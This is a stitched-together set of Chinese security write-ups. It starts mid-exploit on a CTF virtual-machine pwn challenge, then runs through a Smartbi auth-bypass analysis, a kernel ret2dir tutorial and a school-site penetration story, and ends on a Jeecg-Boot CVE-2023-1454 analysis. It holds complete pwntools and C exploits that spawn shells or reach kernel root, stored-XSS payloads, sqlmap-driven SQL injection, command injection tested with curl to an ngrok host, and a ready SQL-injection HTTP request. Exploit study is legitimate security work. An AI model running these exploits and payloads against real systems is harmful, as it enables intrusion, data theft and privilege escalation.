#memory[reg[2]]=memory[-7]=reg[4] u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1]) #exit 利用脚本 #!/usr/bin/python from pwn import * from time import sleep context.binary = './OVM' context.log_level = 'debug' io = process('./OVM') elf = ELF('OVM') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #reg[v4] = reg[v2] + reg[v3] def add(v4, v3, v2):    return u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1]) #reg[v4] = reg[v3] << reg[v2] def left_shift(v4, v3, v2):    return u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1]) #reg[v4] = memory[reg[v2]] def read(v4, v2):    return u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1]) #memory[reg[v2]] = reg[v4] def write(v4, v2):    return u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1]) # reg[v4] = (unsigned __int8)v2 def setnum(v4, v2):    return u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1]) code = [    setnum(0, 8),  # reg[0]=8    setnum(1, 0xff),  # reg[1]=0xff    setnum(2, 0xff),  # reg[2]=0xff    left_shift(2, 2, 0),  # reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00)    add(2, 2, 1),  # reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)    left_shift(2, 2, 0),  # reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00)    add(2, 2, 1),  # reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)    setnum(1, 0xc8),  # reg[1]=0xc8    # reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00)    left_shift(2, 2, 0),    # reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)    add(2, 2, 1),    read(3, 2),  # reg[3]=memory[reg[2]]=memory[-56]    setnum(1, 1),  # reg[1]=1    add(2, 2, 1),  # reg[2]=reg[2]+reg[1]=-56+1=-55    read(4, 2),  # reg[4]=memory[reg[2]]=memory[-55]    setnum(1, 0x10),  # reg[1]=0x10    left_shift(1, 1, 0),  # reg[1]=reg[1]<<8=0x10<<8=0x1000    setnum(0, 0x90),  # reg[0]=0x90    # reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090    add(1, 1, 0),    add(3, 3, 1),  # reg[3]=reg[3]+reg[1]    setnum(1, 47),  # reg[1]=47    add(2, 2, 1),  # reg[2]=reg[2]+2=-55+47=-8    write(3, 2),  # memory[reg[2]]=memory[-8]=reg[3]    setnum(1, 1),  # reg[1]=1    add(2, 2, 1),  # reg[2]=reg[2]+1=-8+1=-7    write(4, 2),  # memory[reg[2]]=memory[-7]=reg[4]    u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1])  # exit ] io.recvuntil('PC: ') io.sendline(str(0)) io.recvuntil('SP: ') io.sendline(str(1)) io.recvuntil('SIZE: ') io.sendline(str(len(code))) io.recvuntil('CODE: ') for i in code:    #sleep(0.2)    io.sendline(str(i)) io.recvuntil('R3: ') #gdb.attach(io) last_4bytes = int(io.recv(8), 16)+8 log.success('last_4bytes => {}'.format(hex(last_4bytes))) io.recvuntil('R4: ') first_4bytes = int(io.recv(4), 16) log.success('first_4bytes => {}'.format(hex(first_4bytes))) free_hook = (first_4bytes << 32)+last_4bytes libc_base = free_hook-libc.symbols['__free_hook'] system_addr = libc_base+libc.symbols['system'] log.success('free_hook => {}'.format(free_hook)) log.success('system_addr => {}'.format(system_addr)) io.recvuntil('OVM?\n') io.sendline('/bin/sh\x00'+p64(system_addr)) io.interactive() 实验三 VMPWN3 实验简介 这道题是也一道很典型VMPWN,接收字节码,然后进行解析,在解析过程中会存在漏洞,逆向分析这个虚拟机,找出其解析漏洞然后构造好特定的字节码输入进去从而通过这个程序漏洞拿下目标机器的权限。 题目保护检查 这道题目的保护程序相较于上一题又有所提升,所有保护全部开启。 漏洞分析 使用IDA打开程序 执行逻辑一目了然。 首先,使用fread往code中读取0x100字节的opcode,然后进入while大循环,对我们输入的opcode进行解析。 看到这个sub_11E9函数 很长一行伪代码,似乎实现了很复杂的功能,不过仔细看一看 pc的初始值为0,那我们假设这个pc现在就是0,那么这行代码就是将从code中取出4字节的opcode,然后左移8位,然后和0xFF0000进行按位与,假设当前opcode为0x12345678,0x12345678<<8&0xFF0000=0x560000,即取倒数第二字节。后面地几个操作也是一样,将每个字节取出来之后再用按位或操作组合起来,不过组合之后地opcode是将原始opcode逆序之后的。即如果原始code为0x12345678,那么取出来之后的opcode就为0x78563412。取完一串code之后,将pc指针加4。 所以这个函数的作用就是取指令,因此我们将其重命名为fetch_code。 然后继续往下看。 HIBYTE(code)是什么意思?看到汇编 将code送入eax中,然后右移24位,将此时ax中的值取出来。如果我们的code为0x78563412,那么HIBYTE(code)就是0x78.也就是说,HIBYTE(code)会取code的最高1字节。因此我们将v7重命名为code 再看到对v6进行判断的位置 这里做了大量的运算,但是在为代码中都没有显示出来,我们来继续分析汇编 将code存入eax,然后eax右移16位,将al存入var_249这个变量中,这个操作实际上取出的是第二个字节,因此我们将var_249重命名为second_byte。往下看 这里将code存入eax,然后将ax右移8位,将al存入var_248这个变量中,这个操作取出的是第三个字节,因此我们将var_248重命名为third_byte。 这里就是将第四个字节存入var_247中,将其重名为forth_byte。 根据取出来的1字节选择对应的功能。最大值到0xF为止,所以这里取出来的1字节应该就是功能码,对应我们要执行哪个操作。 接下来开始分析vm的功能有哪些,如何实现的。 注意到在程序中出现了大量的判断语句,判断code中的第一字节或者第二字节是否大于等于6,是的话就退出,根据我的经验,这里的判断就是对寄存器的索引值的判断,也就是寄存器的索引值最大只能为5,那么就一共有6个寄存器,索引从0到5,每个寄存器的大小为WORD,即2字节。 一个虚拟机除了通用寄存器外,还应有pc指针(在前面已经出现),以及sp指针用来指示栈顶位置,因此我们在程序中搜寻可能的sp指针。由于sp指针的变化便随着出栈和入栈,所以是相当好确定的。 在这里我们发现了类似于入栈出栈的操作,栈和栈顶指针也很快确定下来。将v9重名为sp_ptr。 v10+ v11一共0xc个字节,寄存器有2*6=0xc个字节,再加上stack,我们可以得出虚拟机的结构体如下: struct vm {  int16_t regs[6];  int16_t stack[256]; }; 应用到IDA中如下所示 整个伪代码变得更加清晰了,有哪些功能也能一眼看出 其实基本所有vm实现的功能都基本一样,在前面两题中我也做了具体分析,所以在这里就不再逐个分析了,所有功能如下所示: 那么漏洞点在哪里?注意到在进行三个寄存器的操作时,会对三个寄存器的索引值进行检查,不能大于等于6。 然而在进行乘法时: 并未对r3的索引进行检查,这样就可以将超出寄存器范围的数据进行乘法,当我们固定好另外两个寄存器的数据时就能够造成越界读的效果。 还有一个漏洞 在进行mov指令时,对r2的索引检查的时候是按照无符号整型的方式来检查的,而对r1的索引检查时则使用的是有符号整型检查,这样就有如果r1的索引为负数也一样能够通过检查。这样就有了一个越界写漏洞。 这样整体利用思路就是先利用乘法中的越界读漏洞读取libc地址,然后计算出onegadget地址,再利用越界写漏洞将onegadget地址写入到返回地址中。 接下来我们看到动态调试部分 由于虚拟机是在栈中分配的,而在栈中存在大量libc的地址,如下图 我们可以利用乘法的越界读功能,首先将一个寄存器的值设置为1,然后利用乘法的越界读功能使栈中的libc地址与1相乘并存入寄存器中,这里需要注意,由于每个寄存器只有2字节长度,而libc地址的有效长度为6字节,所以需要用3个寄存器来存储libc地址。 我们首先将reg0设置为1,如下图所示 然后我们找到最近的libc地址,如下图 而寄存器的起始地址为0x7ffde8c12c04,每个寄存器的大小为2字节,我们据此来计算这个libc地址的偏移量 如果要用寄存器来进行索引的话,那么索引下标应该为0xe,接着我们用乘法功能,使reg[0]*reg[0xe],并将结果存入reg[0]中 如上图所示,已经将libc地址的末尾2字节存入了reg[0]中。 后续我们继续按照此操作,将libc地址的剩余字节也存入reg[1]和reg[2]中,如下图 有了libc地址之后,就可以根据libc地址计算onegadget的地址了 选择0xe3b31这个onegadget,那么它在libc中的加载地址就为libc_base+0xe3b31 依然由于寄存器是2字节长度,所以我们每次对二字节进行操作,可以看到onegadget的末尾二字节和reg[0]的差值是0x431,也就是说reg[0]+0x431就可以得到onegadget的末尾二字节; 而中间二字节的差值为0x14,即reg[1]+0x14就可以得到onegadget的中间二字节的值,而最开头的地址都是一样的,不需要进行计算。 为了计算onegadget的地址,我们使用add功能。 接下来我们需要将onegadget的地址写入到某个地址中,由于vm位于栈中,所以我们考虑将onegadget写入返回地址中 但是越界写功能只能够往上越界写,而返回地址位于虚拟机的下方,这里该怎么办才能顺利写呢? 注意到在push功能处 栈顶指针是有符号类型,因此如果栈顶指针为负数就可以通过检查,我们看看栈顶指针距离返回地址的偏移量为多少 虚拟机的栈也是2字节为单位,所以如果要通过栈索引到返回地址,则需要数组下标为0x10c。 在push进行赋值时,存在这样的操作 假设rax为0x800000000000010c,rax*2之后就会整数溢出变成0x0000000000000218,这样就既可以绕过栈顶指针检测也可以将栈顶指针修改为指向返回地址。 后面我们再将寄存器中的值压栈,就可以将返回地址覆盖为onegadget的地址,这样一来程序结束时就能够调用onegadget来getshell 利用脚本 from pwn import * context.log_level='debug' io=process('./mva') libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9.7_amd64/libc-2.31.so') onegadget=0xe3b31 def get_command(code, op1, op2, op3): return p8(code) + p8(op1) + p8(op2) + p8(op3) def movl(reg, value): return get_command(1, reg, value >> 8, value & 0xFF) def add(dest, add1, add2): return get_command(2, dest, add1, add2) def sub(dest, subee, suber): return get_command(3, dest, subee, suber) def band(dest, and1, and2): return get_command(4, dest, and1, and2) def bor(dest, or1, or2): return get_command(5, dest, or1, or2) def sar(dest, off): return get_command(6, dest, off, 0) def bxor(dest, xor1, xor2): return get_command(7, dest, xor1, xor2) def push(reg, value): if reg == 0: return get_command(9, reg, 0, 0) else: return get_command(9, reg, value >> 8, value & 0xFF) def pop(reg): return get_command(10, reg, 0, 0) def imul(dest, imul1, imul2): return get_command(13, dest, imul1, imul2) def mov(src, dest): return get_command(14, src, dest, 0) def print_top(): return get_command(15, 0, 0, 0) def pwn():    io.recvuntil('[+] Welcome to MVA, input your code now :')    payload=movl(0,0x1)    payload+=imul(0,14,0)    payload+=movl(1,0x1)    payload+=imul(1,15,1)    payload+=movl(2,0x1)    payload+=imul(2,16,2)    payload+=movl(4,0x431)    payload+=add(0,0,4)    payload+=movl(4,0x14)    payload+=sub(1,1,4)    payload+=movl(4,0x8000)    payload+=mov(4,0xf9)    payload+=movl(4,0x10c)    payload+=mov(4,0xf6)    payload+=push(0,0)    payload+=mov(1,0)    payload+=push(0,0)    payload+=mov(2,0)    payload+=push(0,0)    payload=payload.ljust(0x100,'\x00')    # gdb.attach(io,'b *$rebase(0x0000000000001431)')    # pause()    io.send(payload)    io.interactive() pwn()
Smartbi 身份认证绕过漏洞
内置账号密码登录 因为自己搭建的环境存在一些问题,可能是版本过高的原因,(奇奇怪怪的问题,用户没有权限),所以目前仅仅做概念性验证,对漏洞的原理进行分析。 在未登录的情况下访问接口 /smartbi/vision/RMIServlet 我们可以比较明显的看到对应的处理类 CheckIsLoggedFilter smartbi.freequery.filter.CheckIsLoggedFilter#doFilter 从这里开始可能就是要进行比较详细的分析,首先是判断请求的路径是不是/vision/RMIServlet 是的话进入这个分支,然后判断请求体中是不是有以 windowUnloading 开头的字符串,这个跟另一种绕过方式有关,这里先不做分析 接下来依次判断是否有通过 POST 或者 GET 方法来获取参数 className methodName 如果没有的话,就对参数 encode 进行解码,对相关参数进行赋值 ‍ 这里有一个判断,对类和方法进行鉴权操作,如果是 true 就会继续判断是否登录,只需要满足 FilterUtil.needToCheck 返回 false 就可以 smartbi.util.FilterUtil#needToCheck 我们就注意到从数据库登录的操作也是不需要鉴权就可以进行访问的 smartbi.usermanager.UserManagerModule smartbi.usermanager.UserManagerModule#loginFromDB smartbi.usermanager.SecurityServiceImpl#loginFromDB 这里直接比较的是从数据库中查询出的密码,所以我们就可以直接利用内置的账号和 MD5密码登录 admin 也是可以登录成功的 为什么不用原本的登录模式登录,首先原本的登录模式登录是不知道对应的账号和密码的其次我们再对原本的登录逻辑进行简单的分析 smartbi.usermanager.UserManagerModule#clickLogin smartbi.usermanager.UserManagerModule#login smartbi.usermanager.SecurityServiceImpl#login 主要的处理登录逻辑在这一部分 smartbi.usermanager.SecurityServiceImpl#loginDB smartbi.usermanager.UserBO#isPasswordValidate 这里在进行比较的时候 首先 String passwordInLib = this.user.getPassword(); 是从数据库中查找用户的密码,根据用户的密码开头的第一位字符,来进行处理比较 我们已经知道数据库中对应的值是 0a 但是并没有任何一个值对应的 MD5 的值是a 所以正常无法登录内置用户 漏洞修复 http://192.168.222.133:18080/smartbi/vision/sysmonitor.jsp 同样的 POC 已经无法利用成功了,我们关注一下修复的代码内容
kernel-pwn之ret2dir利用技巧
前言 ret2dir是2014年在USENIX发表的一篇论文,该论文提出针对ret2usr提出的SMEP、SMAP等保护的绕过。全称为return-to-direct-mapped memory,返回直接映射的内存。 ret2dir 在SMEP与SMAP等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是ret2usr,如下图所示(图片来自论文)。首先是在内核中找到可以控制指针的漏洞,修改指针使其指向为用户空间,因此在用户空间布置恶意的数据或者代码,完成漏洞的利用。但是当SMEP与SMAP保护的出现,在内核态下,不能够执行或者访问用户空间的代码或者数据,导致了该利用方式失效,因为即使在用户空间中部署了payload,在内核态下也无法访问。因此这种通过显示数据的共享方式已经不再适用了。 所以作者提出了一种思路,能否在内核空间中也能够访问到用户空间的数据。作者最终找到了一段区域,可以隐式的访问用户空间的数据。在内核中存在这部分区域direct mapping of all physical memory,物理地址直接映射区。 这个映射区其实就是内核空间会与物理地址空间进行线性的映射,我们可以在这段区域直接访问到物理地址对应的内容。 那么作者就提出了一种攻击场景,由于在虚地址中的内容最终都会映射到物理地址上,若能将用户空间的数据同样映射到这段区域上,岂不是就可以在内核空间也可以访问到用户空间的数据了。该段区域也被称之为phsymap,它是一段大的,连续的虚拟内存区域,它包含了部分或全部的物理内存的直接映射。下图这种情况作者也称之为是虚拟地址别名的情况,因为在用户空间与内核空间中都存在一个地址可以访问payload。 最终作者构想的攻击场景如下图所示(图片来自论文),不同于ret2usr,指针不再被修改为指向用户空间,而是指向了物理地址的直接映射区,由于该映射区指向物理地址,而在用户空间构造的payload也会映射到物理地址,因此若能获得指向存在payload的用户空间对应的物理地址在phsymap位置,就能够直接执行用户空间的payload。 想要获得映射地址有以下方法 (1)通过读取/proc/pid/pagemap获取,该文件中存放了物理地址与虚拟地址的映射关系,可是该文件需要root权限才能读取。 (2)通过大量覆盖phsymap内存的方法,提高命中率。使用堆喷技术,在该内存区填充大量的payload这样既不会影响payload的执行,又能够提高命中payload的可能性,填充效果如下图 在旧版本的内核中phsymap是具有可执行权限的,因此可以在用户空间中填充shellcode,但是如今的内核版本phsymap已经不具备可执行权限了,因此只能在里面填充ROP链 miniLCTF_2022-kgadget 题目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/miniLCTF_2022 kgadget_ioctl 在kgadget_ioctl中,当我们输入的操作码为0x1BF52时,会将rdx寄存器中的值进行解引用,并且以函数的方式调用该地址,这就导致了任意地址执行。 run.sh 题目提供的run.sh开启了smep与smap的保护,但是没有开启地址随机化KASLR。因此虽然我们可以控制内核执行任意的地址,但是由于题目开启了smep与smap,因此该地址值不能选择为用户空间的地址。 #!/bin/sh qemu-system-x86_64 \ -m 256M \ -cpu kvm64,+smep,+smap \ -smp cores=2,threads=2 \ -kernel bzImage \ -initrd ./rootfs.cpio.gz \ -nographic \ -monitor /dev/null \ -snapshot \ -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \ -no-reboot \ -s ret2dir利用流程 首先是如何执行我们指定的地址值的,可以看到实际是将我们传入的地址,解引用后存放到rbx寄存器,结果通过将rbx寄存器的值移动到栈顶,从而修改栈顶的值,接着调用ret指令,使得执行被解引用的值。 想要使得内核提权,需要执行commit(prepare_kernel_cred(0),接着通过swapgs和ret指令的组合。因此需要找到一段内存,将该流程的ROP链填充进去。这是因为kgadget_ioctl并不是执行我们传入进去的地址,而是需要将该地址先解引用后再执行,相当于需要执行传入地址对应的内容。因此若我们直接将commit函数的地址传入进去,它会执行commit函数指向的内容。 那么这段区域需要选取在哪里,若我们直接再用户空间中构造这段payload,接着将用户空间地址传递给ioctl是不可行的,因为内核开启了smap与smep的保护,因此对用户空间的访问都是不被允许的。 因此需要用到ret2dir的技巧,由于用户空间的虚拟地址同样会映射到物理地址,而在内核空间存在一段内存被称之为phsymap,它存放着物理地址的内容,因此我们在用户空间填充的内容,可以在phsymap找到。但是这段内存十分庞大,有64TB的大小,我们怎么才能确保搜索到存放我们payload的地址呢?答案就是尽可能的填充,使得我们用户空间的payload尽可能的大,那么我们搜索到的几率也会增大。 我们以页(4096)为单位开辟内存,并且循环了0x4000次, void copy_dir() { char *payload; payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); for (int i = 0; i < 4096; i++) payload[i] = 'z'; } ... int main() {   ...    for(int i = 0; i < 0x4000; i++) copy_dir(); } 可以发现,在用户空间写入的z值,我们在内核空间同样可以访问到。当然写入的次数以及字节数是可以自己人为调整的,可以频繁尝试,尽可能的大的填充,这样我们找到的几率也更大。 当然有时候页的大小页不一定是4096,因此可以使用getconf PAGESIZE获得页的大小 因此我们已经找到能够访问到用户空间payload的内核地址值,接着需要将内核栈的空间迁移到phsymap上,这是因为用原来的内核栈无法使得连续gadget之间的调用。这里修改为测试gadget,用于测试不做栈迁移会发生什么。 unsigned long *payload; payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); payload[0] = 0xffffffff8108c6f0; //pop_rdi;ret; payload[1] = 0xffffffff8108c6f0; //pop_rdi;ret; 可以看到执行一次pop rdi; ret,这是因为ret指令会将当前栈顶的值弹出栈,而我们输入的值不再栈上,而是在phsymap上。因此当我们输入的ROP链不再栈上时,就需要使用栈迁移。 由于内核中存在着需要改变rsp寄存器的gadget,只要使用add rsp, xxx; ret即可完成栈迁移。因此需要在栈上填入phsymap的地址,使得经过add rsp, xxx后能够使得rsp指向phsymap。为了使得栈上能够存储phsymap的地址,这里需要借助一个结构体pt_regs。 struct pt_regs { /* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */    unsigned long r15;    unsigned long r14;    unsigned long r13;    unsigned long r12;    unsigned long rbp;    unsigned long rbx; /* These regs are callee-clobbered. Always saved on kernel entry. */    unsigned long r11;    unsigned long r10;    unsigned long r9;    unsigned long r8;    unsigned long rax;    unsigned long rcx;    unsigned long rdx;    unsigned long rsi;    unsigned long rdi; /* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */    unsigned long orig_rax; /* Return frame for iretq */    unsigned long rip;    unsigned long cs;    unsigned long eflags;    unsigned long rsp;    unsigned long ss; /* top of stack page */ }; 可以看到这个结构体存放了一系列的寄存器,这是因为在进行系统调用时,会完成从用户态到内核态的切换,因此需要保存用户态时的上下文寄存器,而这些寄存器的值都需要保存在pt_regs中。使用下述代码测试上述pt_regs结构体存放的位置。 target =  0xffff888000000000 + 0x6000000; __asm( ".intel_syntax noprefix;" "mov r15, 0x15151515;" "mov r14, 0x14141414;" "mov r13, 0x13131313;" "mov r12, 0x12121212;" "mov r11, 0x11111111;" "mov r10, 0x10101010;" "mov r9, 0x99999999;" "mov r8, 0x88888888;" "mov rax, 0x10;" "mov rcx, 0xcccccccc;" "mov rdx, target;" "mov rsi, 0x1BF52;" "mov rdi, fd;" "syscall;" ".att_syntax;" ); 可以看到我们在执行系统调用之前的参数,都会以pt_regs结构体中的顺序进行存放,这里需要注意的是r11寄存器用来存放了rflags的值。 不过出题者在会对pt_regs结构体中的部分寄存器的值进行修改。 最后只剩下r8与r9寄存器是可控的。但是只是用两个寄存器的值就足于完成栈迁移的操作了。 这里可以计算一下栈顶到r9寄存器的距离0xffffc9000021ff98 - 0xffffc9000021fed0 = 0xc8,因此找到add rsp 0xc0的寄存器即可,因为ret指令还会进行一次弹栈操作。这里一开始是使用extract-image.sh进行提取,但是会报错。因此改用vmlinux-to-elf,这个工具提取出的符号比较全。工具的地址为https://github.com/marin-m/vmlinux-to-elf 提取出来就可以愉快的获取gadget。由于没找到add 0xc8的gadget,因此找了个平替的。再结合pop rsp; ret 指令即可完成栈迁移的操作。 add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; pop rsp; ret; 接着需要考虑堆喷的填充大量内存,因为题目没有开启地址随机化,因此即使不使用堆喷,也能够定位到具体的地址,但是实际情况是该地址可以随机,因此需要确保落入到其他地址也能完成利用。由于第一条指令必须是add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;,因为需要进行栈迁移。因此在一页的内存中,因使用尽量多的该指令进行填充,确保栈迁移的正常执行。 由于完成提权的payload需要0x58的大小,而该指令会将rsp抬高0xc0,因此用(4096 - 0x58 - 0xc0) / 8 = 0x1dd,因此这里循环复制该指令0x1dd次,接着将剩余空间使用ret指令(常用的堆喷的指令)填充(这里使用了xor esi , esi; ret,因为异或操作不影响。) for (int i = 0; i < 0x1dd; i++) payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; for (int i = 0; i < 24; i++) payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret; 最后是在提权时没找到合适gadget将prepare_kernel_cred的返回值即rax寄存器的值,移动到rdi寄存器中。因此学了下出题者的wp,发现出题者使用了init_cred结构体作为commit_creds函数的参数。 init_cred 是 Linux 内核中的一个结构体,用于表示进程的初始凭证。它包含了与进程相关的安全属性和权限信息。,init_cred 结构体通常用于表示初始的 root 凭证。因此只需要借助一个pop rdi;ret的gadget加上init_cred结构体的地址就可以完成root凭证的初始化了。 exp 最后完整的exp如下 #include <stdio.h> #include <fcntl.h> #include <sys/mman.h> #define COLOR_NONE "\033[0m" //表示清除前面设置的格式 #define RED "\033[1;31;40m" //40表示背景色为黑色, 1 表示高亮 #define BLUE "\033[1;34;40m" #define GREEN "\033[1;32;40m" #define YELLOW "\033[1;33;40m" /* 0xffffffff81488561: add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 0xffffffff810c92e0: T commit_creds 0xffffffff810c9540: T prepare_kernel_cred 0xffffffff81224afc: xor esi, esi; ret; 0xffffffff8108c6f0: pop rdi; ret; 0xffffffff82a6b700 D init_cred; 0xffffffff81c00fb0 T swapgs_restore_regs_and_return_to_usermode 0xffffffff811483d0: pop rsp; ret; */ int fd; unsigned long user_ss, user_cs, user_sp, user_rflags; unsigned long target; unsigned long target1; void save_state(); void copy_dir(); void back_door(); void back_door() { printf(RED"getshell"); system("/bin/sh"); } void copy_dir() { unsigned long *payload; unsigned int index = 0; payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); for (int i = 0; i < 0x1dd; i++) payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; for (int i = 0; i < 24; i++) payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret; payload[index++] = 0xffffffff8108c6f0; // pop rdi ret payload[index++] = 0xffffffff82a6b700; //init_cred payload[index++] = 0xffffffff810c92e0; //commit_creds payload[index++] = 0xffffffff81c00fb0 + 0x1b; //swapgs_restore_regs_and_return_to_usermode payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)back_door; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; } void save_state() { __asm( ".intel_syntax noprefix;" "mov user_ss, ss;" "mov user_cs, cs;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ".att_syntax;" ); printf(RED"[*]save state\n"); printf(BLUE"[+]user_ss:0x%lx\n", user_ss); printf(BLUE"[+]user_cs:0x%lx\n", user_cs); printf(BLUE"[+]user_cs:0x%lx\n", user_sp); printf(BLUE"[+]user_rflags:0x%lx\n", user_rflags); printf(RED"[*]save finish\n"); } int main() { save_state(); fd = open("/dev/kgadget", O_RDWR); /* for(int i = 0; i < 0x4000; i++) copy_dir(); */ target =  0xffff888000000000 + 0x6000000; __asm( ".intel_syntax noprefix;" "mov r15, 0x15151515;" "mov r14, 0x14141414;" "mov r13, 0x13131313;" "mov r12, 0x12121212;" "mov r11, 0x11111111;" "mov r10, 0x10101010;" "mov r9, 0xffffffff811483d0;" "mov r8, target;" "mov rax, 0x10;" "mov rcx, 0xcccccccc;" "mov rdx, target;" "mov rsi, 0x1BF52;" "mov rdi, fd;" "syscall;" ".att_syntax;" ); }
从密码重置打到Getshell和其它漏洞打包
前言 前几天是准备上点edusrc的分的所以就准备用手上还没刷的Nday继续上分,然后就有了今天这个案例: 信息收集 之前在挖某体育学院证书的时候就挖到过一个通过修改html文件更改密码修改步骤的漏洞 所以就准备测绘一下这个资产继续看看能不能上分 挑一个打开: 没有背景图了但还是同资产,因为在测试某体育学院的时候是有账户的,所以直接输入那个账户就能进行下一步操作了,但是这个资产无账户,所以我打算去在搜集一下学号之类的 学号这块都是一无所获,然后正准备想其它切入点的时候就突然发现 这块的要求是输入学号后5位,而学号通常是有规律的,所以就去生成字典FUZZ了一下 Python输出从00000~99999字典的程序为: dictionary = {} for i in range(100000): key = str(i).zfill(5) value = \"Value \" + key dictionary\[key\] = value with open(\'dict.txt\', \'w\') as file: for key, value in dictionary.items(): file.write(key + \'\\n\') 载入字典后还要设置下时间 最后成功拿到几个账户 EDUSRC不收爆破类漏洞所以这个学号不能算是漏洞,但最后学号总归是出来了 随后直接输入FUZZ出的5位学号把 https://1.test.edu.cn/passworf/find1_html后的find1_html改为find2_html 直接输入我们要重置的密码更改成功后去登录后台: 持续浏览功能点寻找突破点: 发现一个活动添加点 不存在上传点但是存在描述功能,直接构造xss的payload试试: <Script>alert("1)</Script> 存储XSS+1 此处的payload:<Script>alert("1)</Script> 采用大小写绕过 随后又发现一个信息上传点: 这几块点是透明没开bp,然后就打算开BP看看能不能拿到些什么突破口 点击这块的【添加简历信息】下面的标题处的第一个点 发现是个信息编辑界面但它这块是跳出个小窗口的所以前面没怎么注意到开了BP抓包时才发现这块点: 点击右侧的修改抓包后: 发现id值,直接单引号闭合查看: 浏览器端: 发现执行了sql语句 且发现是GET请求: 所以把这块的路径拉到浏览器直接访问 这样就不用担心防sqlmap表单了,且不用打包数据包更快捷了 Sqlmap成功跑出数据! Sql注入+1 随后继续到【会员注册】处 直接在搜索处单引号闭合: 成功执行查询语句 F12调出网络又发现也是GET请求方式,复制请求URL直接查看回显 直接sqlmap跑 Sql注入+2 然后点击右上角【管理员】三个字 一开始没发现这三个字还能点击,点击后发现到了信息上传点: 这块可以上传文件先上传个php试试 提示只能上传上面列出的文件类型,正要准备想其它办法绕过的时候突然发现这块允许上传的文件类型中包括pdf,所以直接上传一个pdf-xss试试: 成功上传然后浏览器访问试试: 但浏览器提示没有文件,然后仔细看了一下文件上传回显: 这里的uploadfile/16893293978.pdf的路径是跟在了?value=参数后面的然后这块参数给完后还在后面又跟了个参数: ?file=url=uploadfile/16893293978.pdf,再回到请求包中的参数: 发现此处的有个&field=url的参数尝试把参数改成1 浏览器回显不存在"1",所以这块就明了的,参数&field=后面应该接的参数是文件上传后的路径,因为我们这块输入1,不存在1这个文件所以回显NotFound ,明了了这块所以我们那文件试试: 放包: 成功触发XSS 存储xss+2 但是这块的任务是getshell所以还是继续尝试文件上传 修改MIME信息且php5分段绕过但还是提示不能上传,传了图片马但是不能解析 这块上传应该是写死了,所以继续找其它突破口,查看参数发现存在"filename" 问题参数啊,迅速添加延时命令试试: `sleep 7` 回显处成功延时: 命令执行成功!进一步探测: Curl命令探测ngrok.io 成功回显! 命令执行+1,最后相对应的用命令获取shell就行 总结 整体难度适中只不过这次测试后台功能点有点多需要仔细观察测试,后台的信息收集做好了Getshell难度瞬间就变小了。
CVE-2023-1454注入分析复现
简介 JeecgBoot的代码生成器是一种可以帮助开发者快速构建企业级应用的工具,它可以通过一键生成前后端代码,无需写任何代码,让开发者更多关注业务逻辑。 影响版本 Jeecg-Boot<=3.5.1 环境搭建 idea+ 后端源码: https://github.com/jeecgboot/jeecg-boot/archive/refs/tags/v3.5.0.zip前端源码: https://github.com/jeecgboot/jeecgboot-vue3/archive/refs/tags/v3.5.0.zip安装npm,安装nodejs https://nodejs.org/dist/v18.16.1/node-v18.16.1-x64.msi安装yarn npm install -g yarn 下载依赖 yarn install yarn run serve //起服务 由于是前后端分离,需要数据库导入表,使用navicat直接导入即可 后端服务端搭建,使用idea搭建导入项目,修改数据库配置 配置server端npm服务 配置好之后直接启动,访问 http://localhost:3100/login搭建成功 漏洞复现 前后端分离,后端端口8080 ,Payload: {"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}POST /jeecg-boot/jmreport/qurestSql HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Content-Type: application/json Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Length: 128 {"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"} 分析 漏洞产生点位于积木报表插件内,查看更新的3.5.1的版本更新 